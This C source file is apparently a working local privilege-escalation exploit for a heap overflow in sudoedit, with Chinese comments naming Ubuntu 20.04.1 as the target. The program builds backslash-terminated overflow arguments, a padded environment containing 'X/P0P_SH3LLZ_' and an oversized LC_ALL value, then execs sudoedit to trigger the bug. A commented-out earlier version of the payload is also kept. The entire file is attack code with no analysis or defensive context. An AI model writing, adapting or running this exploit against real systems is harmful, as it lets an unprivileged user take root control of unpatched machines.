#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#define MAX_ENVP 512
// #define SUDOEDIT_PATH "/usr/bin/sudoedit"
#define SUDOEDIT_PATH "/usr/local/bin/sudoedit"

int main()
{
    // Ubuntu 20.04.1 目标参数配置
    uint32_t smash_len_a = 56;
    uint32_t smash_len_b = 54;
    uint32_t null_stomp_len = 63;
    uint32_t lc_all_len = 212;

    // 构造溢出字符串
    char *smash_a = calloc(smash_len_a + 2, 1);
    char *smash_b = calloc(smash_len_b + 2, 1);
    memset(smash_a, 'A', smash_len_a);
    memset(smash_b, 'B', smash_len_b);
    smash_a[smash_len_a] = '\\';
    smash_b[smash_len_b] = '\\';

    // 构造恶意参数数组
    char *s_argv[] = {
        "sudoedit", "-s", smash_a, "\\", smash_b, NULL};

    // 构造恶意环境变量
    char *s_envp[MAX_ENVP];
    int envp_pos = 0;

    // 填充环境变量数组
    for (int i = 0; i < null_stomp_len; i++)
    {
        s_envp[envp_pos++] = "\\";
    }
    s_envp[envp_pos++] = "X/P0P_SH3LLZ_";

    // 创建特制的LC_ALL环境变量
    char *lc_all = calloc(lc_all_len + 16, 1);
    strcpy(lc_all, "LC_ALL=C.UTF-8@");
    memset(lc_all + 15, 'C', lc_all_len);
    s_envp[envp_pos++] = lc_all;
    s_envp[envp_pos] = NULL;
    // char *s_argv[] = {
    //     "sudoedit",
    //     "-u", "root", "-s",
    //     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\",
    //     "\\",
    //     "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB123456\\",
    //     NULL};

    // char *s_envp[] = {
    //     "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
    //     "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
    //     "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
    //     "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
    //     "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
    //     "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
    //     "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
    //     "\\", "\\", "\\", "\\", "\\", "\\", "\\",
    //     "X/P0P_SH3LLZ_", "\\",
    //     "LC_MESSAGES=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
    //     "LC_ALL=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
    //     "LC_CTYPE=C.UTF-8@AAAAAAAAAAAAAA",
    //     NULL};
    // 触发漏洞
    execve(SUDOEDIT_PATH, s_argv, s_envp);

    // 清理资源（实际上不会执行到这里）
    free(smash_a);
    free(smash_b);
    free(lc_all);
    return 0;
}